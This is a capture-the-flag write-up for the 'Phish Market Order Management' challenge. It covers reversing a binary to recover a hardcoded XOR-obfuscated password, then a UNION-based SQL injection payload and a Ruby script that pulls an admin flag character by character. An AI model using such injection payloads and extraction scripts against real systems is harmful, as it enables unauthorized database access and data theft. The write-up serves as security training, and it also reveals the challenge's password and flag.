>/posts/1337UP LIVE 2024 Phish Market Order Management $
Estimated reading time: 19 minutes
Phish Market Order Management
Category: Reverse
Difficulty: easy
Author: 5h33pd06
Description:
Welcome to the Phish Market Order Management System! This system will allow you to view important information about the Phish Market's products and customers.
Handout files
First Part
Look at the files
│>PHISH_MARKET
│ docker-compose.yml
│ start.sh
│
├───market
│ Dockerfile
│ market
│ wait-for-it.sh
│
└───mysql
Dockerfile
init-db.sql
As you may have noticed, there are 2 Docker containers: one with a MySQL database and another one containing the script wait-for-it.sh and the market executable file.
Let's take a look at init-db.sql:
-- Insert the flag into the `admin` table
INSERT INTO admin (username, flag) VALUES
('admin', 'INTIGRITI{fake_flag}');
SET GLOBAL super_read_only = ON;
The file creates a database with some products, orders, and customers, but we are only interested in the last part with the flag.
That's good — we know where to find the flag. Now let's look at the script in the other directory:
#!/bin/bash
# wait-for-it.sh
host="$1"
shift
port="$1"
shift
cmd="$@"
until nc -z "$host" "$port"; do
>&2 echo "MySQL is unavailable - sleeping"
sleep 1
done
>&2 echo "MySQL is up - executing command"
exec $cmd
In environments like Docker, where services start in parallel, wait-for-it.sh ensures that dependencies (e.g., the database) are ready before the client application starts. This means that everything related to this task is likely located in the market file—this is a great lead. Now we can run the task and see how it behaves.
Market Application
To run it locally, open a terminal in the directory containing the docker-compose.yml file and type:
docker-compose up
If you see something like the output above in the console, everything is set up correctly, and we can connect to the application:
nc localhost 1336 # Connect to localhost on port 1336
It looks like the market application won't interact with us unless we provide the correct password. But how can we find it?
This is where the reverse engineering part comes in!
Reversing the App
To be honest, the first two steps I took were checking for strings in Binary Ninja and examining imports in IDA Free. Since I didn't find anything interesting, I moved to Ghidra — the same tool I used in my previous reverse write-up.
After opening Ghidra, there were lots of different sections to explore...
What are we looking for?
Since we know the text displayed after entering an incorrect password, we should search for the code responsible for this logic. This will also lead us to the login and password-checking functionality.
The variable cVar3 is compared to 0 before sending the "incorrect password" message. One line above, the function FUNC_0010359c retrieves the buffer containing the received password and assigns it to this variable.
Let's examine how the password-checking logic works.
bool FUN_0010359c(void **param_1)
{
void *__n;
int iVar1;
bool bVar2;
undefined *local_38;
void *local_30;
undefined local_28 [24];
FUN_001034c9(&local_38);
__n = param_1[1];
bVar2 = false;
if ((__n == local_30) && (bVar2 = true, __n != (void *)0x0)) {
iVar1 = memcmp(*param_1,local_38,(size_t)__n);
bVar2 = iVar1 == 0;
}
if (local_38 != local_28) {
operator.delete(local_38);
}
return bVar2;
}
This code isn't complicated. It's a simple comparison of two strings, character by character. What's important is that param1 is compared to the local_38 variable. However, local_38 is not set here — it seems to be assigned by FUN_001034c9. Let's open this function next:
pbVar5 = &DAT_00106c20;
pbVar6 = &DAT_00106c10;
do {
bVar2 = *pbVar5;
bVar1 = *pbVar6;
plVar3 = param_1[1];
if (param_1 + 2 == (long **)*param_1) {
plVar4 = (long *)0xf;
} else {
plVar4 = param_1[2];
}
if (plVar4 < (long *)((long)plVar3 + 1)) {
std::__cxx11::basic_string<>::_M_mutate((ulong)param_1,(ulong)plVar3,(char *)0x0,0);
}
*(byte *)((long)*param_1 + (long)plVar3) = bVar2 ^ bVar1;
param_1[1] = (long *)((long)plVar3 + 1);
*(undefined *)((long)*param_1 + 1 + (long)plVar3) = 0;
pbVar5 = pbVar5 + 1;
pbVar6 = pbVar6 + 1;
} while ((eh_frame_hdr *)pbVar5 != &eh_frame_hdr_00106c30);
return param_1;
}
Fortunately, this function isn't too complex either. The main logic involves taking two strings, pbVar5 and pbVar6, and performing an XOR operation on them character by character.
Locate these two values in the .data section.
This looks promising — it might be a password. Now, XOR these two strings together.
N3v3RG0nn@6u3$$!
That definitely looks like a real password. Let's try it!
I'm In!
After checking every option, there was no predefined way to retrieve the flag from the database. Hmm, it looks like it's not the end yet.
We need to somehow perform an SQL Injection attack on this application to retrieve data from another table.
SQL Injection Preparation
We need to go back to Ghidra and locate an SQL query used to retrieve any data.
The example query I found was:
"SELECT ordernumber, total FROM orders WHERE ordernumber = "
The query I sent was:
1 UNION SELECT flag, 1 FROM admin --
And it kind of worked, but... yeah, kind of only, because it only returned numeric values.
If only there was a way to represent alphabets as numeric values... Yes, you're thinking correctly — we have to get it as ASCII numbers.
1 UNION SELECT ASCII(flag), 1 FROM admin --
Now we get the value "73," which corresponds to "I" — the beginning of the "INTIGRITI" flag. That's a good sign.
Little we know flags start with "INTIGRITI" and end with "}" — this is enough information to modify our query and write an automated script.
Final Query
1 UNION SELECT ASCII(SUBSTRING(flag, 1, 1)), 1 FROM admin --
I used SUBSTRING here to retrieve one character in every query.
Here is the full script for extracting the flag from the database:
require 'socket'
def retrieve_flag
host = 'localhost'
port = 1336
password = "N3v3RG0nn@6u3$$!"
flag = ""
puts "[INFO] Connecting to server on #{host}:#{port}..."
socket = TCPSocket.new(host, port)
puts "[INFO] Waiting for password prompt..."
while (line = socket.gets)
break if line.include?("Please enter the admin password:")
end
puts "[INFO] Sending password..."
socket.puts(password)
puts "[INFO] Waiting for main menu..."
while (line = socket.gets)
break if line.include?("4. Exit")
end
loop do
socket.puts("2")
while (line = socket.gets)
break if line.include?("Enter order number:")
end
query = "1 UNION SELECT ASCII(SUBSTRING(flag, #{flag.length + 1}, 1)), 1 FROM admin --"
socket.puts(query)
socket.puts("\n")
ascii_value = nil
while (line = socket.gets)
if line.include?("Order Number: ")
match = line.match(/Order Number: (\d+), Total:/)
value = match[1].to_i if match
next if value == 1
ascii_value = value if (32..126).include?(value)
end
if line.include?("Press Enter to return to the main menu...")
break
end
end
if ascii_value
char = ascii_value.chr
flag << char
break if char == "}"
else
puts "[ERROR] Failed to read ASCII value. Exiting..."
break
end
end
socket.close
puts "[INFO] Retrieved flag: #{flag}"
end
retrieve_flag
And here's the result:
[INFO] Connecting to server on localhost:1336...
[INFO] Waiting for password prompt...
[INFO] Sending password...
[INFO] Waiting for main menu...
[INFO] Retrieved flag: INTIGRITI{fake_flag}
We got it locally!
At the end, all you need to do is replace the host with the real task hostname and run the script to get:
INTIGRITI{w3b_ch4ll3n63_1n_d156u153}
Thanks, that was fun!